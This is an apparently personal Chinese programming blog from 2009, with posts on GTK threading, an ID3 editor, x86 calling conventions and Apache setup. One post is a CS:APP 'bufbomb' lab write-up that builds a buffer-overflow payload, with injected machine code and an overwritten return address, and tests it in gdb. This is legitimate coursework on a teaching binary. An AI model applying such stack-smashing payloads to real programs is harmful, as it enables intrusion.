Lyre’s Refuge


2009-12-16

suicide.c

Category: 未分类 – lyre – 12:23 am

#include <stdio.h>

int main (int argc, char *argv[])
{
printf (”Life is so bad, farewell\n”);
remove (argv[0]);
return 0;
}

2009-12-13

新的C语言

Category: 未分类 – lyre – 3:05 am

程序员挑灯夜战:这是最新的工作结果

Randy Meyers的The New C系列文章的翻译:

2010年3月20日星期六:添加《The New C: Compound Literals》

2010年2月19日星期五:添加《The New C: X Macros》

2010年2月10日星期三:添加《The New C: Declarations & Initializations》

2010年1月27日星期三:添加《The New C: Integers, Part 3》

2010年1月14日星期四:添加《The New C: It All Began with FORTRAN》、《The New C: Integers in C99, Part 1》、《The New C: Integers, Part 2》三篇文章

2009年12月13日星期日:首篇文章《Introducing C99》翻译初稿完成。

文章列表:

新的C语言

新的C语言-介绍C99

新的C语言:一切从FORTRAN开始

新的C语言:C99中的整型,第一部分

新的C语言:整型,第二部分

新的C语言:整型,第三部分

新的C语言:声明和初始化

新的C语言:X Macro

新的C语言:复合字面量

2009-11-30

ID3 Editor

Category: 未分类 – lyre – 2:23 am

mp3的ID3 TAG编辑器,,目前只是半成品,只实现了ID3V1的编辑,我不确定以后是不是会有时间加入对ID3V2的支持。虽然,ID3V1几乎已经被淘汰了……
这个小项目的构思来自三年前学习C++的时候,当时觉得自己已经会编程了,只是不知道该写些什么。由于当时在Linux下mp3 id3信息乱码,于是有了这么一个想法,想写一个转换编码的程序,可是却毫无头绪。觉得自己会了,想要写一个东西却完全不知道该怎么下手,这真是一件奇妙的事。后来C++我没学会,这个构思也只是偶尔想起来。直到最近……

运行在Linux系统上:

Screenshot

切确的说,windows上也能运行,不过由于gtk在windows的bug,在GtkEntry Widget中无效的UTF-8字符无法被清除——导致几乎不能使用。虽然这样,但是它的绝大部分代码确实是在windows下编写的。

unname
写出来以后,我不知道该是高兴还是沮丧:3600多行的代码,几乎没有多少功能,花了近一个半月(虽然不是全花在上面)。倒是有了一些感想:

1、没事别写GUI

2、针对GTK的:Use Glade, but do not generate code.  不要在glade中创建复杂widget,像是GtkTreeView这种MVC结构的Widget,View可以用Glade 创建,但是Model还是自己来的好(ID3 Editor并没有完全遵循这个,能运行就懒得改了)。顺便说一句,我一直没搞懂Controller是什么概念。

3、对于某个数据结构,写一个dump的函数,对调试有很大帮助,这是从gdsl的代码里面学来的。如果当初为毕业设计的驱动程序写这么一个dump函数,调试应该会轻松很多吧……

4、编写的时候,遇到两个困扰的问题,都跟内存释放有关:一次是错误的使用g_free()来使用释放Gerror;另一次是释放了一个错误的指针,造成两次释放,当然这不是我的本意,是我写错了一个变量名导致的。在windows下调试得焦头烂额也没明白哪里出错了,最后是在linux下根据glib的backtrack信息确定的。我有个想法是:如果完全不考虑内存释放,就不会遇到这种问题Orz

2009-11-05

在gtk中使用进度条

Category: 未分类 – lyre – 7:10 pm

gui编程,在后台做一件事,每到一个阶段就把进度条增加一点。

大概一年前,我就有开始研究这个问题,当时刚接触gui编程,不得其法,按照着当时写的思路写,结果是处理“后台”的时候整个gui都冻结了。

自然而然的,使用线程,开始学习和使用pthread,用在gui上,似乎有那么一点效果,然而似乎是偶尔才像我想象中那样刷新进度条;在循环中加入gdk_fflush()刷新整个gui,功能是对了,这效率无法接受。

最后,参照gtk的例子,使用超时函数,凑合着用吧。

过了一年多,昨天晚上,应该是今天凌晨0:00以后开始开始研究gtk线程,在抓狂了3个多小时以后,终于有了点头绪,然后倒下睡了。今天稍微弄了一下,大概达到我当初的要求了。

最关键的是:在gtk_init()以前加入g_thread_init()。

最简单的方法就是只加入这一句,其余不变,这已经能达到要求了。

然而有一个问题,gtk不是线程安全的,解决办法就是加锁。我依然不太明白其中细节,然后看起来似乎是这样的:gdk_threads_enter ()/gdk_threads_leave ()分别对应加锁和解锁,不过在使用这两个函数之前需要在gtk_init()以前,g_thread_init()以后加入gdk_threads_init ()函数。然而在加入gdk_threads_init ()以后,必须把gtk_main()包含在gdk_threads_enter ()/gdk_threads_leave ()这一对函数中,否则整个gui都被阻塞了,可以编写一个gtk程序看看什么效果。

接下来要做的是,在响应信号的回调函数中使用g_thread_create()新建一个线程,在线程中,把需要对gui widget操作的函数包裹在gdk_threads_enter ()/gdk_threads_leave ()中。

一个进度条的例子:

#include 
 
gboolean stat;
 
GtkWidget *label;
 
GtkWidget *progressbar;
 
void t1(gpointer data)
{
	int i;
 
	char msg[10];
	msg[9] = '';
 
	stat = TRUE;
	for (i = 1; i &lt;= 100; i++)
	{
		if (!stat)
		{
			break;
		}
 
		g_message (&quot;log%d&quot;, i);
		sprintf (msg, &quot;log%d&quot;, i);
 
		gdk_threads_enter ();
		gtk_label_set_text (GTK_LABEL (label), msg);
		gtk_progress_bar_set_fraction (GTK_PROGRESS_BAR (progressbar), (i / 100.0));
		gdk_threads_leave ();
 
		g_usleep (100000);
	}
 
}
 
void start(gpointer widget, gpointer data)
{
	g_thread_create (t1, NULL, FALSE, NULL);
}
 
void stop (gpointer widget, gpointer data)
{
	stat = FALSE;
}
 
int main (int argc, char *argv[])
{
	GtkWidget *window;
	GtkWidget *vbox;
	GtkWidget *button1;
	GtkWidget *button2;
 
	g_thread_init (NULL);
	gdk_threads_init ();
	gdk_threads_enter ();
	gtk_init (&amp;argc, &amp;argv);
 
	window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
 
	vbox = gtk_vbox_new (TRUE, 2);
	gtk_container_add (GTK_CONTAINER (window), vbox);
 
	button1 = gtk_button_new_with_label (&quot;starrrrrrrrrrrrrrrrrrt&quot;);
	gtk_box_pack_start_defaults (GTK_BOX (vbox), button1);
 
	button2 = gtk_button_new_with_label (&quot;stop&quot;);
	gtk_box_pack_start_defaults (GTK_BOX (vbox), button2);
 
	label = gtk_label_new(&quot;abc&quot;);
	//gtk_label_set_text (GTK_LABEL (label), &quot;nop&quot;);
	gtk_box_pack_start_defaults (GTK_BOX (vbox), label);
 
	progressbar = gtk_progress_bar_new ();
	gtk_box_pack_start_defaults (GTK_BOX (vbox), progressbar);
 
	g_signal_connect (G_OBJECT (window), &quot;destroy&quot;, G_CALLBACK (gtk_main_quit), NULL);
 
	g_signal_connect (GTK_BUTTON (button1), &quot;clicked&quot;, G_CALLBACK (start), NULL);
 
	g_signal_connect (GTK_BUTTON (button2), &quot;clicked&quot;, G_CALLBACK (stop), NULL);
 
	gtk_widget_show_all (window);
 
	gtk_main ();
	gdk_threads_leave ();
 
	return 0;
}

2009-10-11

……计划

Category: 未分类 – lyre – 1:29 am

path

……总是赶不上变化

2009-09-22

cs:app 3.38 bufbomb

Category: 未分类 – lyre – 8:15 pm

1.准备工作:
1.1编译bufbomb.c

/* bufbomb.c */
/* Bomb program that is solved using a buffer overflow attack */
 
#include 
#include 
#include 
 
/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF &amp;&amp; c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' &lt;= c &amp;&amp; c &lt;= &#039;9&#039;)
	val = c - &#039;0&#039;;
      else if (&#039;A&#039; &lt;= c &amp;&amp; c &lt;= &#039;F&#039;)
	val = c - &#039;A&#039; + 10;
      else
	val = c - &#039;a&#039; + 10;
      if (even) {
	otherd = val;
	even = 0;
      } else {
	*sp++ = otherd * 16 + val;
	even = 1;
      }
    }
  }
  *sp++ = &#039;&#039;;
  return dest;
}
 
/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}
 
void test()
{
  int val;
  printf(&quot;Type Hex string:&quot;);
  val = getbuf();
  printf(&quot;getbuf returned 0x%x\n&quot;, val);
}
/* $end getbuf-c */
 
int main()
{
 
  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) &amp; 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don&#039;t get complaint of unused variable */
  test();
  return 0;
}

我的工作环境是ia32的linux,gcc 4.3.2
使用以下命令编译
gcc bufbomb.c -o bufbomb -O2 -g -Wall
作为测试用的可执行文件bufbomb是在该环境下使用以上选项编译的,其他环境下编译的bufbomb应该有所不同

1.2反编译bufbomb.c
objdump -d bufbomb > bufbomb.s

08048570 :
 8048570:	55                   	push   %ebp
 8048571:	89 e5                	mov    %esp,%ebp
 8048573:	83 ec 18             	sub    $0x18,%esp
 8048576:	8d 45 f4             	lea    -0xc(%ebp),%eax
 8048579:	89 04 24             	mov    %eax,(%esp)
 804857c:	e8 5f ff ff ff       	call   80484e0 
 8048581:	b8 01 00 00 00       	mov    $0x1,%eax
 8048586:	c9                   	leave  
 8048587:	c3                   	ret    
 8048588:	90                   	nop    
 8048589:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 
08048590 :
 8048590:	55                   	push   %ebp
 8048591:	89 e5                	mov    %esp,%ebp
 8048593:	83 ec 08             	sub    $0x8,%esp
 8048596:	c7 04 24 c0 86 04 08 	movl   $0x80486c0,(%esp)
 804859d:	e8 66 fe ff ff       	call   8048408 
 80485a2:	e8 c9 ff ff ff       	call   8048570 
 80485a7:	c7 04 24 d1 86 04 08 	movl   $0x80486d1,(%esp)
 80485ae:	89 44 24 04          	mov    %eax,0x4(%esp)
 80485b2:	e8 51 fe ff ff       	call   8048408 
 80485b7:	c9                   	leave  
 80485b8:	c3                   	ret    
 80485b9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

这个函数的堆栈是这样组织的:
在栈上分配了0×18(26)个字节,其中$-12(%ebp)作为数组buf的起始地址
;%ebp保存着调用者test()的%ebp;
$4(%ebp)保存着返回地址,也就是调用该函数后的下一条指令的地址;
再往上是函数test()的堆栈。

2 构造攻击代码
2.1 让缓冲区溢出但是不造成段错误
在测试输入的时候只要写入12个字符或以上就会出现段错误,因为getxs函数会在用户的输入后面补一个”。

(gdb) run
Starting program: /home/lyre/code/ics/asm/bufbomber/bufbomb
Type Hex string:12 34 56 78 90 12 34 56 79 90 12 34 56 78 90
getbuf returned 0×1

Program received signal SIGSEGV, Segmentation fault.
test () at bufbomb.c:51
51 }
(gdb)

现在的目标是让缓冲区溢出但是不造成段错误,最简单的就是按照原样写回去,可以先用gdb查看%ebp(保存的%ebp)以及$4(%ebp)(返回地址)的值

设置一个断点
(gdb) b getbuf

运行
(gdb) run

查看%ebp
(gdb) x/w $ebp
0xbfffdfc8: 0xbfffdfd8
注意ia32是小端机,这4个字节从低到高是d8, df, ff, bf

查看返回地址$4(%ebp)
(gdb) x/w ($ebp+4)
0xbfffdfcc: 0×080485a7
也就是a7, 85, 04, 08

这样,我们在buf里面的前12个字节随便填上什么数字,然后填上%ebp(d8, df, ff, bf), 最后填上$4(%ebp)(a7, 85, 04, 08),函数getxs()会在最后也就是8(%ebp)处填上一个”,我们暂且认为这就是$8(%ebp)未使用的空间。(补充:观察test()可以发现堆栈中分配了8个字节,实际上这个”覆盖了第八个字节,不过没有对函数造成任何影响)

于是得到这样一个字节串:
12 34 56 78 90 12 34 56 79 90 12 34 d8 df ff bf a7 85 04 08
其中前12位暂时是胡乱填充的

继续运行,输入我们的字节串
(gdb) c
Continuing.
Type Hex string:12 34 56 78 90 12 34 56 79 90 12 34 d8 df ff bf a7 85 04 08
getbuf returned 0×1

Program exited normally.

可以看到,缓冲区实际上已经溢出,但是并没有出现段错误。

2.2在buf的12个字节中填入攻击代码
编写一段汇编语句,包含以下语句:

push $0x080485a7
movl $0xdeadbeef, %eax
ret
nop

保存为try.s

用gcc编译
gcc try.s -O2 -c

反汇编
objdump -d try.o
得到:
00000000 :
0: 68 a7 85 04 08 push $0×80485a7
5: b8 ef be ad de mov $0xdeadbeef,%eax
a: c3 ret
b: 90 nop

把68 a7 85 04 08 b8 ef be ad de c3 90填入攻击串的前12字节,得到如下的字节串:
68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf a7 85 04 08

很巧合的是汇编的结果刚好是12字节,跟buf的大小一致,猜测是作者精心设置的……

2.3修改返回地址
很简单,查看buf的地址就是了
(gdb) p /x &buf[0]
$2 = 0xbfffdfbc

也就是bc df ff bf

把返回地址指向这个地方,得到
68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf bc df ff bf

2.4测试
(gdb) run
Starting program: /home/lyre/code/ics/asm/bufbomber/bufbomb
Type Hex string:68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf bc df ff bf
getbuf returned 0xdeadbeef

Program exited normally.
(gdb)

PS:尝试过程中遇到不少小问题,像是计算错误,输错地址什么的;而我使用的gcc也没有保护代码

参考:
http://blog.chinaunix.net/u3/103049/showart_2025757.html

2009-09-12

函数调用大致的汇编表示……

Category: 未分类 – lyre – 8:52 pm


void f() {

int a; /* -4(%ebp) */
int b; /* -8(%ebp) */
g(a, b);
next:
int sum = a + b;
}

f:
...
;可选,如果需要的话
;pushl %eax | %ecx | %edx;
;从右往左压栈
pushl -8(%ebp); 参数b压栈
pushl -4(%ebp); 参数a压栈
call _g; 把返回地址next:压栈,跳转到函数g
...

g:
pushl %ebp; 保存%ebp
movel %esp, %ebp; 设置基址指针%ebp
;可选,如果需要的话:
;push1 %ebx | %esi | %edi;

...

;函数处理过程,设置返回值

...

;可选,如果需要的话:
;popl %ebx | %esi | %edi;
;以下两句相当于leave指令
movel %ebp, %esp ; 恢复栈指针%esp
pushl %ebp; 恢复%ebp
ret; 对应call,弹出返回地址,并跳转至该位置next:

f:
;可选,如果需要的话;
;popl %eax | %ecx | %edx;
...

2009-09-04

strlen

Category: 未分类 – lyre – 12:53 am

看图最清楚了

strlen

2009-06-18

使用c编写具有面向对象风格的代码

Category: C – lyre – 5:36 pm

最近在研究数据结构,找来gdsl的源代码研究,当我从代码级copy了一个堆栈后,惊叹这代码写的真漂亮。
把一个struct比作c++中的类,一个struct *的实例比作c++中的对象。struct在c文件中定义,头文件中仅仅使用struct *,当代码发布的时候,只要提供连接库和头文件。struct结构对使用者是不可见的,通过若干个函数对内部数据成员进行操作,实现了内部变量的隐藏。

其实这种风格的代码在gtk中就接触很多了,但是当时关注的是使用。而现在是自己实现这种风格,还是要说一句:这代码写的真漂亮。

2009-02-22

apache配置

Category: Apache – lyre – 6:12 pm

cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak

cat > /etc/apache2/httpd.conf.local << “EOF”

###############################
Alias /pub /srv/ftp/pub

<Directory /srv/ftp/pub>
Order allow,deny
Allow from all
Options Indexes
</Directory>

################################

Alias /wordpress /srv/wordpress

<Directory /srv/wordpress>
Order allow,deny
Allow from all
</Directory>

################################

Alias /phpbb /srv/phpbb

<Directory /srv/phpbb>
Order allow,deny
Allow from all
</Directory>
EOF

cp /etc/apache2/conf.d/subversion.conf /etc/apache2/conf.d/subversion.conf.bak

cat > /etc/apache2/subversion.conf.local << “EOF”
<IfModule mod_dav_svn.c>

<Location /repos>
DAV svn
SVNParentPath /srv/svn/repos
SVNListParentPath On
</Location>

<Location /repos/notepad>
#   DAV svn
#   SVNPath /srv/svn/repos/notepad

# Limit write permission to list of valid users.
<LimitExcept GET PROPFIND OPTIONS REPORT>
# Require SSL connection for password protection.
# SSLRequireSSL

AuthType Basic
AuthName “Authorization Realm”
AuthUserFile /srv/svn/user_access/notepad_passwdfile
Require valid-user
</LimitExcept>
</Location>
</IfModule>
EOF

apache2ctl -k graceful